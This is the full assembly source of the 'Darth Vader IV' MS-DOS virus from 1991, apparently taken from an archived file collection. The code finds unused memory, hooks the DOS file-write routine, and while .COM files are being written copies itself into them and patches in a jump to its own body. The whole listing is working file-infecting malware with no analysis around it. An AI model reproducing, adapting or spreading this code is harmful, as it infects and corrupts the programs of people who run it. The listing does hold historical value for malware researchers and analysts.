home *** CD-ROM | disk | FTP | other *** search
- ;*******************************************************************************
- ;* *
- ;* D A R T H V A D E R IV *
- ;* *
- ;* (C) - Copyright 1991 by Waleri Todorov, CICTT-Sofia *
- ;* All Rights Reserved *
- ;* *
- ;* Enchanced by: Lazy Wizard *
- ;* *
- ;* Turbo Assembler 2.0 *
- ;* *
- ;*******************************************************************************
-
-
- .model tiny
- .code
-
- org 100h
-
- Start:
- call NextLine
- First3:
- int 20h
- int 3
- NextLine:
- pop bx
- push ax
- xor di,di
- mov es,di
- mov es,es:[2Bh*4+2]
- mov cx,1000h
- call SearchZero
- jc ReturnControl
- xchg ax,si
- inc si
- SearchTable:
- dec si
- db 26h
- lodsw
- cmp ax,8B2Eh
- jne SearchTable
- db 26h
- lodsb
- cmp al,75h
- je ReturnControl
- cmp al,9Fh
- jne SearchTable
- mov si,es:[si]
- mov cx,LastByte-Start
- lea ax,[di+Handle-Start]
- org $-1
- xchg ax,es:[si+80h]
- sub ax,di
- sub ax,cx
- mov [bx+OldWrite-Start-2],ax
- mov word ptr [bx+NewStart+1-Start-3],di
- lea si,[bx-3]
- rep movsb
- ReturnControl:
- pop ax
- push ss
- pop es
- mov di,100h
- lea si,[bx+First3-Start-3]
- push di
- movsw
- movsb
- ret
- SearchZero:
- xor ax,ax
- inc di
- push cx
- push di
- mov cx,[LastByte-Start-1]/2+1
- repe scasw
- pop di
- pop cx
- je FoundPlace
- loop SearchZero
- stc
- FoundPlace:
- ret
- Handle:
- push bp
- call NextHandle
- NextHandle:
- pop bp
- push es
- push ax
- push bx
- push cx
- push si
- push di
- test ch,ch
- je Do
- mov ax,1220h
- int 2Fh
- mov bl,es:[di]
- mov ax,1216h
- int 2Fh
- cmp es:[di+29h],'MO'
- jne Do
- cmp word ptr es:[di+15h],0
- jne Do
- push ds
- pop es
- mov di,dx
- mov ax,[di]
- mov [bp+First3-NextHandle],ax
- mov al,[di+2]
- mov [bp+First3+2-NextHandle],al
- call SearchZero
- jc Do
- push di
- NewStart:
- mov si,0
- mov cx,[LastByte-Start-1]/2
- cli
- rep
- db 36h
- movsw
- sti
- mov di,dx
- mov al,0E9h
- stosb
- pop ax
- sub ax,di
- dec ax
- dec ax
- stosw
- Do:
- pop di
- pop si
- pop cx
- pop bx
- pop ax
- pop es
- pop bp
- OldWrite:
- jmp start
-
- LastByte label byte
-
- end Start
-